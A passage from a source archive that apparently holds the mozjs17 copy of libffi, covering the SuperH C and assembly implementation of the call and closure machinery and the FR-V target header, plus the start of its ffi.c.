= j = 0; i < cif->nargs && j < 12; i++) { type = (cif->arg_types)[i]->type; switch (type) { case FFI_TYPE_FLOAT: if (freg >= NFREGARG) continue; freg++; cif->flags += ((cif->arg_types)[i]->type) << (2 * j); j++; break; case FFI_TYPE_DOUBLE: if ((freg + 1) >= NFREGARG) continue; freg = (freg + 1) & ~1; freg += 2; cif->flags += ((cif->arg_types)[i]->type) << (2 * j); j++; break; default: size = (cif->arg_types)[i]->size; n = (size + sizeof (int) - 1) / sizeof (int); if (greg + n - 1 >= NGREGARG) continue; greg += n; for (m = 0; m < n; m++) cif->flags += FFI_TYPE_INT << (2 * j++); break; } } #else for (i = j = 0; i < cif->nargs && j < 4; i++) { size = (cif->arg_types)[i]->size; n = (size + sizeof (int) - 1) / sizeof (int); if (greg >= NGREGARG) continue; else if (greg + n - 1 >= NGREGARG) n = NGREGARG - greg; greg += n; for (m = 0; m < n; m++) cif->flags += FFI_TYPE_INT << (2 * j++); } #endif /* Set the return type flag */ switch (cif->rtype->type) { case FFI_TYPE_STRUCT: cif->flags += (unsigned) (return_type (cif->rtype)) << 24; break; case FFI_TYPE_VOID: case FFI_TYPE_FLOAT: case FFI_TYPE_DOUBLE: case FFI_TYPE_SINT64: case FFI_TYPE_UINT64: cif->flags += (unsigned) cif->rtype->type << 24; break; default: cif->flags += FFI_TYPE_INT << 24; break; } return FFI_OK; } extern void ffi_call_SYSV(void (*)(char *, extended_cif *), extended_cif *, unsigned, unsigned, unsigned *, void (*fn)(void)); void ffi_call(ffi_cif *cif, void (*fn)(void), void *rvalue, void **avalue) { extended_cif ecif; UINT64 trvalue; ecif.cif = cif; ecif.avalue = avalue; /* If the return value is a struct and we don't have a return */ /* value address then we need to make one */ if (cif->rtype->type == FFI_TYPE_STRUCT && return_type (cif->rtype) != FFI_TYPE_STRUCT) ecif.rvalue = &trvalue; else if ((rvalue == NULL) && (cif->rtype->type == FFI_TYPE_STRUCT)) { ecif.rvalue = alloca(cif->rtype->size); } else ecif.rvalue = rvalue; switch (cif->abi) { case FFI_SYSV: ffi_call_SYSV(ffi_prep_args, &ecif, cif->bytes, cif->flags, ecif.rvalue, fn); break; default: FFI_ASSERT(0); break; } if (rvalue && cif->rtype->type == FFI_TYPE_STRUCT && return_type (cif->rtype) != FFI_TYPE_STRUCT) memcpy (rvalue, &trvalue, cif->rtype->size); } extern void ffi_closure_SYSV (void); #if defined(__SH4__) extern void __ic_invalidate (void *line); #endif ffi_status ffi_prep_closure_loc (ffi_closure* closure, ffi_cif* cif, void (*fun)(ffi_cif*, void*, void**, void*), void *user_data, void *codeloc) { unsigned int *tramp; unsigned int insn; FFI_ASSERT (cif->abi == FFI_GCC_SYSV); tramp = (unsigned int *) &closure->tramp[0]; /* Set T bit if the function returns a struct pointed with R2. */ insn = (return_type (cif->rtype) == FFI_TYPE_STRUCT ? 0x0018 /* sett */ : 0x0008 /* clrt */); #ifdef __LITTLE_ENDIAN__ tramp[0] = 0xd301d102; tramp[1] = 0x0000412b | (insn << 16); #else tramp[0] = 0xd102d301; tramp[1] = 0x412b0000 | insn; #endif *(void **) &tramp[2] = (void *)codeloc; /* ctx */ *(void **) &tramp[3] = (void *)ffi_closure_SYSV; /* funaddr */ closure->cif = cif; closure->fun = fun; closure->user_data = user_data; #if defined(__SH4__) /* Flush the icache. */ __ic_invalidate(codeloc); #endif return FFI_OK; } /* Basically the trampoline invokes ffi_closure_SYSV, and on * entry, r3 holds the address of the closure. * After storing the registers that could possibly contain * parameters to be passed into the stack frame and setting * up space for a return value, ffi_closure_SYSV invokes the * following helper function to do most of the work. */ #ifdef __LITTLE_ENDIAN__ #define OFS_INT8 0 #define OFS_INT16 0 #else #define OFS_INT8 3 #define OFS_INT16 2 #endif int ffi_closure_helper_SYSV (ffi_closure *closure, void *rvalue, unsigned long *pgr, unsigned long *pfr, unsigned long *pst) { void **avalue; ffi_type **p_arg; int i, avn; int ireg, greg = 0; #if defined(__SH4__) int freg = 0; #endif ffi_cif *cif; cif = closure->cif; avalue = alloca(cif->nargs * sizeof(void *)); /* Copy the caller's structure return value address so that the closure returns the data directly to the caller. */ if (cif->rtype->type == FFI_TYPE_STRUCT && STRUCT_VALUE_ADDRESS_WITH_ARG) { rvalue = (void *) *pgr++; ireg = 1; } else ireg = 0; cif = closure->cif; greg = ireg; avn = cif->nargs; /* Grab the addresses of the arguments from the stack frame. */ for (i = 0, p_arg = cif->arg_types; i < avn; i++, p_arg++) { size_t z; z = (*p_arg)->size; if (z < sizeof(int)) { if (greg++ >= NGREGARG) continue; z = sizeof(int); switch ((*p_arg)->type) { case FFI_TYPE_SINT8: case FFI_TYPE_UINT8: avalue[i] = (((char *)pgr) + OFS_INT8); break; case FFI_TYPE_SINT16: case FFI_TYPE_UINT16: avalue[i] = (((char *)pgr) + OFS_INT16); break; case FFI_TYPE_STRUCT: avalue[i] = pgr; break; default: FFI_ASSERT(0); } pgr++; } else if (z == sizeof(int)) { #if defined(__SH4__) if ((*p_arg)->type == FFI_TYPE_FLOAT) { if (freg++ >= NFREGARG) continue; avalue[i] = pfr; pfr++; } else #endif { if (greg++ >= NGREGARG) continue; avalue[i] = pgr; pgr++; } } #if defined(__SH4__) else if ((*p_arg)->type == FFI_TYPE_DOUBLE) { if (freg + 1 >= NFREGARG) continue; if (freg & 1) pfr++; freg = (freg + 1) & ~1; freg += 2; avalue[i] = pfr; pfr += 2; } #endif else { int n = (z + sizeof (int) - 1) / sizeof (int); #if defined(__SH4__) if (greg + n - 1 >= NGREGARG) continue; #else if (greg >= NGREGARG) continue; #endif greg += n; avalue[i] = pgr; pgr += n; } } greg = ireg; #if defined(__SH4__) freg = 0; #endif for (i = 0, p_arg = cif->arg_types; i < avn; i++, p_arg++) { size_t z; z = (*p_arg)->size; if (z < sizeof(int)) { if (greg++ < NGREGARG) continue; z = sizeof(int); switch ((*p_arg)->type) { case FFI_TYPE_SINT8: case FFI_TYPE_UINT8: avalue[i] = (((char *)pst) + OFS_INT8); break; case FFI_TYPE_SINT16: case FFI_TYPE_UINT16: avalue[i] = (((char *)pst) + OFS_INT16); break; case FFI_TYPE_STRUCT: avalue[i] = pst; break; default: FFI_ASSERT(0); } pst++; } else if (z == sizeof(int)) { #if defined(__SH4__) if ((*p_arg)->type == FFI_TYPE_FLOAT) { if (freg++ < NFREGARG) continue; } else #endif { if (greg++ < NGREGARG) continue; } avalue[i] = pst; pst++; } #if defined(__SH4__) else if ((*p_arg)->type == FFI_TYPE_DOUBLE) { if (freg + 1 < NFREGARG) { freg = (freg + 1) & ~1; freg += 2; continue; } avalue[i] = pst; pst += 2; } #endif else { int n = (z + sizeof (int) - 1) / sizeof (int); if (greg + n - 1 < NGREGARG) { greg += n; continue; } #if (! defined(__SH4__)) else if (greg < NGREGARG) { greg += n; pst += greg - NGREGARG; continue; } #endif avalue[i] = pst; pst += n; } } (closure->fun) (cif, rvalue, avalue, closure->user_data); /* Tell ffi_closure_SYSV how to perform return type promotions. */ return return_type (cif->rtype); } mozjs17.0.0/js/src/ctypes/libffi/src/sh/sysv.S0000664000175000017500000003453712106270662021112 0ustar sstanglsstangl/* ----------------------------------------------------------------------- sysv.S - Copyright (c) 2002, 2003, 2004, 2006, 2008 Kaz Kojima SuperH Foreign Function Interface Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #define LIBFFI_ASM #include #include #ifdef HAVE_MACHINE_ASM_H #include #else /* XXX these lose for some platforms, I'm sure. */ #define CNAME(x) x #define ENTRY(x) .globl CNAME(x); .type CNAME(x),%function; CNAME(x): #endif #if defined(__HITACHI__) #define STRUCT_VALUE_ADDRESS_WITH_ARG 1 #else #define STRUCT_VALUE_ADDRESS_WITH_ARG 0 #endif .text # r4: ffi_prep_args # r5: &ecif # r6: bytes # r7: flags # sp+0: rvalue # sp+4: fn # This assumes we are using gas. ENTRY(ffi_call_SYSV) # Save registers .LFB1: mov.l r8,@-r15 .LCFI0: mov.l r9,@-r15 .LCFI1: mov.l r10,@-r15 .LCFI2: mov.l r12,@-r15 .LCFI3: mov.l r14,@-r15 .LCFI4: sts.l pr,@-r15 .LCFI5: mov r15,r14 .LCFI6: #if defined(__SH4__) mov r6,r8 mov r7,r9 sub r6,r15 add #-16,r15 mov #~7,r0 and r0,r15 mov r4,r0 jsr @r0 mov r15,r4 mov r9,r1 shlr8 r9 shlr8 r9 shlr8 r9 mov #FFI_TYPE_STRUCT,r2 cmp/eq r2,r9 bf 1f #if STRUCT_VALUE_ADDRESS_WITH_ARG mov.l @r15+,r4 bra 2f mov #5,r2 #else mov.l @r15+,r10 #endif 1: mov #4,r2 2: mov #4,r3 L_pass: cmp/pl r8 bf L_call_it mov r1,r0 and #3,r0 L_pass_d: cmp/eq #FFI_TYPE_DOUBLE,r0 bf L_pass_f mov r3,r0 and #1,r0 tst r0,r0 bt 1f add #1,r3 1: mov #12,r0 cmp/hs r0,r3 bt/s 3f shlr2 r1 bsr L_pop_d nop 3: add #2,r3 bra L_pass add #-8,r8 L_pop_d: mov r3,r0 add r0,r0 add r3,r0 add #-12,r0 braf r0 nop #ifdef __LITTLE_ENDIAN__ fmov.s @r15+,fr5 rts fmov.s @r15+,fr4 fmov.s @r15+,fr7 rts fmov.s @r15+,fr6 fmov.s @r15+,fr9 rts fmov.s @r15+,fr8 fmov.s @r15+,fr11 rts fmov.s @r15+,fr10 #else fmov.s @r15+,fr4 rts fmov.s @r15+,fr5 fmov.s @r15+,fr6 rts fmov.s @r15+,fr7 fmov.s @r15+,fr8 rts fmov.s @r15+,fr9 fmov.s @r15+,fr10 rts fmov.s @r15+,fr11 #endif L_pass_f: cmp/eq #FFI_TYPE_FLOAT,r0 bf L_pass_i mov #12,r0 cmp/hs r0,r3 bt/s 2f shlr2 r1 bsr L_pop_f nop 2: add #1,r3 bra L_pass add #-4,r8 L_pop_f: mov r3,r0 shll2 r0 add #-16,r0 braf r0 nop #ifdef __LITTLE_ENDIAN__ rts fmov.s @r15+,fr5 rts fmov.s @r15+,fr4 rts fmov.s @r15+,fr7 rts fmov.s @r15+,fr6 rts fmov.s @r15+,fr9 rts fmov.s @r15+,fr8 rts fmov.s @r15+,fr11 rts fmov.s @r15+,fr10 #else rts fmov.s @r15+,fr4 rts fmov.s @r15+,fr5 rts fmov.s @r15+,fr6 rts fmov.s @r15+,fr7 rts fmov.s @r15+,fr8 rts fmov.s @r15+,fr9 rts fmov.s @r15+,fr10 rts fmov.s @r15+,fr11 #endif L_pass_i: cmp/eq #FFI_TYPE_INT,r0 bf L_call_it mov #8,r0 cmp/hs r0,r2 bt/s 2f shlr2 r1 bsr L_pop_i nop 2: add #1,r2 bra L_pass add #-4,r8 L_pop_i: mov r2,r0 shll2 r0 add #-16,r0 braf r0 nop rts mov.l @r15+,r4 rts mov.l @r15+,r5 rts mov.l @r15+,r6 rts mov.l @r15+,r7 L_call_it: # call function #if (! STRUCT_VALUE_ADDRESS_WITH_ARG) mov r10, r2 #endif mov.l @(28,r14),r1 jsr @r1 nop L_ret_d: mov #FFI_TYPE_DOUBLE,r2 cmp/eq r2,r9 bf L_ret_ll mov.l @(24,r14),r1 #ifdef __LITTLE_ENDIAN__ fmov.s fr1,@r1 add #4,r1 bra L_epilogue fmov.s fr0,@r1 #else fmov.s fr0,@r1 add #4,r1 bra L_epilogue fmov.s fr1,@r1 #endif L_ret_ll: mov #FFI_TYPE_SINT64,r2 cmp/eq r2,r9 bt/s 1f mov #FFI_TYPE_UINT64,r2 cmp/eq r2,r9 bf L_ret_f 1: mov.l @(24,r14),r2 mov.l r0,@r2 bra L_epilogue mov.l r1,@(4,r2) L_ret_f: mov #FFI_TYPE_FLOAT,r2 cmp/eq r2,r9 bf L_ret_i mov.l @(24,r14),r1 bra L_epilogue fmov.s fr0,@r1 L_ret_i: mov #FFI_TYPE_INT,r2 cmp/eq r2,r9 bf L_epilogue mov.l @(24,r14),r1 bra L_epilogue mov.l r0,@r1 L_epilogue: # Remove the space we pushed for the args mov r14,r15 lds.l @r15+,pr mov.l @r15+,r14 mov.l @r15+,r12 mov.l @r15+,r10 mov.l @r15+,r9 rts mov.l @r15+,r8 #else mov r6,r8 mov r7,r9 sub r6,r15 add #-16,r15 mov #~7,r0 and r0,r15 mov r4,r0 jsr @r0 mov r15,r4 mov r9,r3 shlr8 r9 shlr8 r9 shlr8 r9 mov #FFI_TYPE_STRUCT,r2 cmp/eq r2,r9 bf 1f #if STRUCT_VALUE_ADDRESS_WITH_ARG mov.l @r15+,r4 bra 2f mov #5,r2 #else mov.l @r15+,r10 #endif 1: mov #4,r2 2: L_pass: cmp/pl r8 bf L_call_it mov r3,r0 and #3,r0 L_pass_d: cmp/eq #FFI_TYPE_DOUBLE,r0 bf L_pass_i mov r15,r0 and #7,r0 tst r0,r0 bt 1f add #4,r15 1: mov #8,r0 cmp/hs r0,r2 bt/s 2f shlr2 r3 bsr L_pop_d nop 2: add #2,r2 bra L_pass add #-8,r8 L_pop_d: mov r2,r0 add r0,r0 add r2,r0 add #-12,r0 add r0,r0 braf r0 nop mov.l @r15+,r4 rts mov.l @r15+,r5 mov.l @r15+,r5 rts mov.l @r15+,r6 mov.l @r15+,r6 rts mov.l @r15+,r7 rts mov.l @r15+,r7 L_pass_i: cmp/eq #FFI_TYPE_INT,r0 bf L_call_it mov #8,r0 cmp/hs r0,r2 bt/s 2f shlr2 r3 bsr L_pop_i nop 2: add #1,r2 bra L_pass add #-4,r8 L_pop_i: mov r2,r0 shll2 r0 add #-16,r0 braf r0 nop rts mov.l @r15+,r4 rts mov.l @r15+,r5 rts mov.l @r15+,r6 rts mov.l @r15+,r7 L_call_it: # call function #if (! STRUCT_VALUE_ADDRESS_WITH_ARG) mov r10, r2 #endif mov.l @(28,r14),r1 jsr @r1 nop L_ret_d: mov #FFI_TYPE_DOUBLE,r2 cmp/eq r2,r9 bf L_ret_ll mov.l @(24,r14),r2 mov.l r0,@r2 bra L_epilogue mov.l r1,@(4,r2) L_ret_ll: mov #FFI_TYPE_SINT64,r2 cmp/eq r2,r9 bt/s 1f mov #FFI_TYPE_UINT64,r2 cmp/eq r2,r9 bf L_ret_i 1: mov.l @(24,r14),r2 mov.l r0,@r2 bra L_epilogue mov.l r1,@(4,r2) L_ret_i: mov #FFI_TYPE_FLOAT,r2 cmp/eq r2,r9 bt 1f mov #FFI_TYPE_INT,r2 cmp/eq r2,r9 bf L_epilogue 1: mov.l @(24,r14),r1 bra L_epilogue mov.l r0,@r1 L_epilogue: # Remove the space we pushed for the args mov r14,r15 lds.l @r15+,pr mov.l @r15+,r14 mov.l @r15+,r12 mov.l @r15+,r10 mov.l @r15+,r9 rts mov.l @r15+,r8 #endif .LFE1: .ffi_call_SYSV_end: .size CNAME(ffi_call_SYSV),.ffi_call_SYSV_end-CNAME(ffi_call_SYSV) .globl ffi_closure_helper_SYSV ENTRY(ffi_closure_SYSV) .LFB2: mov.l r7,@-r15 .LCFI7: mov.l r6,@-r15 .LCFI8: mov.l r5,@-r15 .LCFI9: mov.l r4,@-r15 .LCFIA: mov.l r14,@-r15 .LCFIB: sts.l pr,@-r15 /* Stack layout: xx bytes (on stack parameters) 16 bytes (register parameters) 4 bytes (saved frame pointer) 4 bytes (saved return address) 32 bytes (floating register parameters, SH-4 only) 8 bytes (result) 4 bytes (pad) 4 bytes (5th arg) <- new stack pointer */ .LCFIC: #if defined(__SH4__) add #-48,r15 #else add #-16,r15 #endif .LCFID: mov r15,r14 .LCFIE: #if defined(__SH4__) mov r14,r1 add #48,r1 #ifdef __LITTLE_ENDIAN__ fmov.s fr10,@-r1 fmov.s fr11,@-r1 fmov.s fr8,@-r1 fmov.s fr9,@-r1 fmov.s fr6,@-r1 fmov.s fr7,@-r1 fmov.s fr4,@-r1 fmov.s fr5,@-r1 #else fmov.s fr11,@-r1 fmov.s fr10,@-r1 fmov.s fr9,@-r1 fmov.s fr8,@-r1 fmov.s fr7,@-r1 fmov.s fr6,@-r1 fmov.s fr5,@-r1 fmov.s fr4,@-r1 #endif mov r1,r7 mov r14,r6 add #56,r6 #else mov r14,r6 add #24,r6 #endif bt/s 10f mov r2, r5 mov r14,r1 add #8,r1 mov r1,r5 10: mov r14,r1 #if defined(__SH4__) add #72,r1 #else add #40,r1 #endif mov.l r1,@r14 #ifdef PIC mov.l L_got,r1 mova L_got,r0 add r0,r1 mov.l L_helper,r0 add r1,r0 #else mov.l L_helper,r0 #endif jsr @r0 mov r3,r4 shll r0 mov r0,r1 mova L_table,r0 add r1,r0 mov.w @r0,r0 mov r14,r2 braf r0 add #8,r2 0: .align 2 #ifdef PIC L_got: .long _GLOBAL_OFFSET_TABLE_ L_helper: .long ffi_closure_helper_SYSV@GOTOFF #else L_helper: .long ffi_closure_helper_SYSV #endif L_table: .short L_case_v - 0b /* FFI_TYPE_VOID */ .short L_case_i - 0b /* FFI_TYPE_INT */ #if defined(__SH4__) .short L_case_f - 0b /* FFI_TYPE_FLOAT */ .short L_case_d - 0b /* FFI_TYPE_DOUBLE */ .short L_case_d - 0b /* FFI_TYPE_LONGDOUBLE */ #else .short L_case_i - 0b /* FFI_TYPE_FLOAT */ .short L_case_ll - 0b /* FFI_TYPE_DOUBLE */ .short L_case_ll - 0b /* FFI_TYPE_LONGDOUBLE */ #endif .short L_case_uq - 0b /* FFI_TYPE_UINT8 */ .short L_case_q - 0b /* FFI_TYPE_SINT8 */ .short L_case_uh - 0b /* FFI_TYPE_UINT16 */ .short L_case_h - 0b /* FFI_TYPE_SINT16 */ .short L_case_i - 0b /* FFI_TYPE_UINT32 */ .short L_case_i - 0b /* FFI_TYPE_SINT32 */ .short L_case_ll - 0b /* FFI_TYPE_UINT64 */ .short L_case_ll - 0b /* FFI_TYPE_SINT64 */ .short L_case_v - 0b /* FFI_TYPE_STRUCT */ .short L_case_i - 0b /* FFI_TYPE_POINTER */ #if defined(__SH4__) L_case_d: #ifdef __LITTLE_ENDIAN__ fmov.s @r2+,fr1 bra L_case_v fmov.s @r2,fr0 #else fmov.s @r2+,fr0 bra L_case_v fmov.s @r2,fr1 #endif L_case_f: bra L_case_v fmov.s @r2,fr0 #endif L_case_ll: mov.l @r2+,r0 bra L_case_v mov.l @r2,r1 L_case_i: bra L_case_v mov.l @r2,r0 L_case_q: #ifdef __LITTLE_ENDIAN__ #else add #3,r2 #endif bra L_case_v mov.b @r2,r0 L_case_uq: #ifdef __LITTLE_ENDIAN__ #else add #3,r2 #endif mov.b @r2,r0 bra L_case_v extu.b r0,r0 L_case_h: #ifdef __LITTLE_ENDIAN__ #else add #2,r2 #endif bra L_case_v mov.w @r2,r0 L_case_uh: #ifdef __LITTLE_ENDIAN__ #else add #2,r2 #endif mov.w @r2,r0 extu.w r0,r0 /* fall through */ L_case_v: #if defined(__SH4__) add #48,r15 #else add #16,r15 #endif lds.l @r15+,pr mov.l @r15+,r14 rts add #16,r15 .LFE2: .ffi_closure_SYSV_end: .size CNAME(ffi_closure_SYSV),.ffi_closure_SYSV_end-CNAME(ffi_closure_SYSV) #if defined __ELF__ && defined __linux__ .section .note.GNU-stack,"",@progbits #endif .section ".eh_frame","aw",@progbits __FRAME_BEGIN__: .4byte .LECIE1-.LSCIE1 /* Length of Common Information Entry */ .LSCIE1: .4byte 0x0 /* CIE Identifier Tag */ .byte 0x1 /* CIE Version */ #ifdef PIC .ascii "zR\0" /* CIE Augmentation */ #else .byte 0x0 /* CIE Augmentation */ #endif .byte 0x1 /* uleb128 0x1; CIE Code Alignment Factor */ .byte 0x7c /* sleb128 -4; CIE Data Alignment Factor */ .byte 0x11 /* CIE RA Column */ #ifdef PIC .uleb128 0x1 /* Augmentation size */ .byte 0x10 /* FDE Encoding (pcrel) */ #endif .byte 0xc /* DW_CFA_def_cfa */ .byte 0xf /* uleb128 0xf */ .byte 0x0 /* uleb128 0x0 */ .align 2 .LECIE1: .LSFDE1: .4byte .LEFDE1-.LASFDE1 /* FDE Length */ .LASFDE1: .4byte .LASFDE1-__FRAME_BEGIN__ /* FDE CIE offset */ #ifdef PIC .4byte .LFB1-. /* FDE initial location */ #else .4byte .LFB1 /* FDE initial location */ #endif .4byte .LFE1-.LFB1 /* FDE address range */ #ifdef PIC .uleb128 0x0 /* Augmentation size */ #endif .byte 0x4 /* DW_CFA_advance_loc4 */ .4byte .LCFI0-.LFB1 .byte 0xe /* DW_CFA_def_cfa_offset */ .byte 0x4 /* uleb128 0x4 */ .byte 0x4 /* DW_CFA_advance_loc4 */ .4byte .LCFI1-.LCFI0 .byte 0xe /* DW_CFA_def_cfa_offset */ .byte 0x8 /* uleb128 0x4 */ .byte 0x4 /* DW_CFA_advance_loc4 */ .4byte .LCFI2-.LCFI1 .byte 0xe /* DW_CFA_def_cfa_offset */ .byte 0xc /* uleb128 0x4 */ .byte 0x4 /* DW_CFA_advance_loc4 */ .4byte .LCFI3-.LCFI2 .byte 0xe /* DW_CFA_def_cfa_offset */ .byte 0x10 /* uleb128 0x4 */ .byte 0x4 /* DW_CFA_advance_loc4 */ .4byte .LCFI4-.LCFI3 .byte 0xe /* DW_CFA_def_cfa_offset */ .byte 0x14 /* uleb128 0x4 */ .byte 0x4 /* DW_CFA_advance_loc4 */ .4byte .LCFI5-.LCFI4 .byte 0xe /* DW_CFA_def_cfa_offset */ .byte 0x18 /* uleb128 0x4 */ .byte 0x91 /* DW_CFA_offset, column 0x11 */ .byte 0x6 /* uleb128 0x6 */ .byte 0x8e /* DW_CFA_offset, column 0xe */ .byte 0x5 /* uleb128 0x5 */ .byte 0x8c /* DW_CFA_offset, column 0xc */ .byte 0x4 /* uleb128 0x4 */ .byte 0x8a /* DW_CFA_offset, column 0xa */ .byte 0x3 /* uleb128 0x3 */ .byte 0x89 /* DW_CFA_offset, column 0x9 */ .byte 0x2 /* uleb128 0x2 */ .byte 0x88 /* DW_CFA_offset, column 0x8 */ .byte 0x1 /* uleb128 0x1 */ .byte 0x4 /* DW_CFA_advance_loc4 */ .4byte .LCFI6-.LCFI5 .byte 0xd /* DW_CFA_def_cfa_register */ .byte 0xe /* uleb128 0xe */ .align 2 .LEFDE1: .LSFDE3: .4byte .LEFDE3-.LASFDE3 /* FDE Length */ .LASFDE3: .4byte .LASFDE3-__FRAME_BEGIN__ /* FDE CIE offset */ #ifdef PIC .4byte .LFB2-. /* FDE initial location */ #else .4byte .LFB2 /* FDE initial location */ #endif .4byte .LFE2-.LFB2 /* FDE address range */ #ifdef PIC .uleb128 0x0 /* Augmentation size */ #endif .byte 0x4 /* DW_CFA_advance_loc4 */ .4byte .LCFI7-.LFB2 .byte 0xe /* DW_CFA_def_cfa_offset */ .byte 0x4 /* uleb128 0x4 */ .byte 0x4 /* DW_CFA_advance_loc4 */ .4byte .LCFI8-.LCFI7 .byte 0xe /* DW_CFA_def_cfa_offset */ .byte 0x8 /* uleb128 0x4 */ .byte 0x4 /* DW_CFA_advance_loc4 */ .4byte .LCFI9-.LCFI8 .byte 0xe /* DW_CFA_def_cfa_offset */ .byte 0xc /* uleb128 0x4 */ .byte 0x4 /* DW_CFA_advance_loc4 */ .4byte .LCFIA-.LCFI9 .byte 0xe /* DW_CFA_def_cfa_offset */ .byte 0x10 /* uleb128 0x4 */ .byte 0x4 /* DW_CFA_advance_loc4 */ .4byte .LCFIB-.LCFIA .byte 0xe /* DW_CFA_def_cfa_offset */ .byte 0x14 /* uleb128 0x4 */ .byte 0x4 /* DW_CFA_advance_loc4 */ .4byte .LCFIC-.LCFIB .byte 0xe /* DW_CFA_def_cfa_offset */ .byte 0x18 /* uleb128 0x4 */ .byte 0x4 /* DW_CFA_advance_loc4 */ .4byte .LCFID-.LCFIC .byte 0xe /* DW_CFA_def_cfa_offset */ #if defined(__SH4__) .byte 24+48 /* uleb128 24+48 */ #else .byte 24+16 /* uleb128 24+16 */ #endif .byte 0x91 /* DW_CFA_offset, column 0x11 */ .byte 0x6 /* uleb128 0x6 */ .byte 0x8e /* DW_CFA_offset, column 0xe */ .byte 0x5 /* uleb128 0x5 */ .byte 0x84 /* DW_CFA_offset, column 0x4 */ .byte 0x4 /* uleb128 0x4 */ .byte 0x85 /* DW_CFA_offset, column 0x5 */ .byte 0x3 /* uleb128 0x3 */ .byte 0x86 /* DW_CFA_offset, column 0x6 */ .byte 0x2 /* uleb128 0x2 */ .byte 0x87 /* DW_CFA_offset, column 0x7 */ .byte 0x1 /* uleb128 0x1 */ .byte 0x4 /* DW_CFA_advance_loc4 */ .4byte .LCFIE-.LCFID .byte 0xd /* DW_CFA_def_cfa_register */ .byte 0xe /* uleb128 0xe */ .align 2 .LEFDE3: mozjs17.0.0/js/src/ctypes/libffi/src/frv/0000775000175000017500000000000012106270662020131 5ustar sstanglsstanglmozjs17.0.0/js/src/ctypes/libffi/src/frv/ffitarget.h0000664000175000017500000000375012106270662022262 0ustar sstanglsstangl/* -----------------------------------------------------------------*-C-*- ffitarget.h - Copyright (c) 1996-2004 Red Hat, Inc. Target configuration macros for FR-V Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #ifndef LIBFFI_TARGET_H #define LIBFFI_TARGET_H /* ---- System specific configurations ----------------------------------- */ #ifndef LIBFFI_ASM typedef unsigned long ffi_arg; typedef signed long ffi_sarg; typedef enum ffi_abi { FFI_FIRST_ABI = 0, FFI_EABI, FFI_LAST_ABI, FFI_DEFAULT_ABI = FFI_EABI } ffi_abi; #endif /* ---- Definitions for closures ----------------------------------------- */ #define FFI_CLOSURES 1 #define FFI_NATIVE_RAW_API 0 #ifdef __FRV_FDPIC__ /* Trampolines are 8 4-byte instructions long. */ #define FFI_TRAMPOLINE_SIZE (8*4) #else /* Trampolines are 5 4-byte instructions long. */ #define FFI_TRAMPOLINE_SIZE (5*4) #endif #endif mozjs17.0.0/js/src/ctypes/libffi/src/frv/ffi.c0000664000175000017500000002040012106270662021035 0ustar sstanglsstangl/* ----------------------------------------------------------------------- ffi.c - Copyright (C) 2004 Anthony Green Copyright (C) 2007 Free Software Foundation, Inc. Copyright (C) 2008 Red Hat, Inc. FR-V Foreign Function Interface Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the ``Software''), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED ``AS IS'', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ----------------------------------------------------------------------- */ #include #include #include /* ffi_prep_args is called by the assembly routine once stack space has been allocated for the function's arguments */ void *ffi_prep_args(char *stack, extended_cif *ecif) { register unsigned int i; register void **p_argv; register char *argp; register ffi_type **p_arg; register int count = 0; p_argv = ecif->avalue; argp = stack; for (i = ecif->cif->nargs, p_arg = ecif->cif->arg_types; (i != 0); i--, p_arg++) { size_t z; z = (*p_arg)->size; if ((*p_arg)->type == FFI_TYPE_STRUCT) { z = sizeof(void*); *(void **) argp = *p_argv; } /* if ((*p_arg)->type == FFI_TYPE_FLOAT) { if (count > 24) { // This is going on the stack. Turn it into a double. *(double *) argp = (double) *(float*)(* p_argv); z = sizeof(double); } else *(void **) argp = *(void **)(* p_argv); } */ else if (z < sizeof(int)) { z = sizeof(int); switch ((*p_arg)->type) { case FFI_TYPE_SINT8: *(signed int *) argp = (signed int)*(SINT8 *)(* p_argv); break; case FFI_TYPE_UINT8: *(unsigned int *) argp = (unsigned 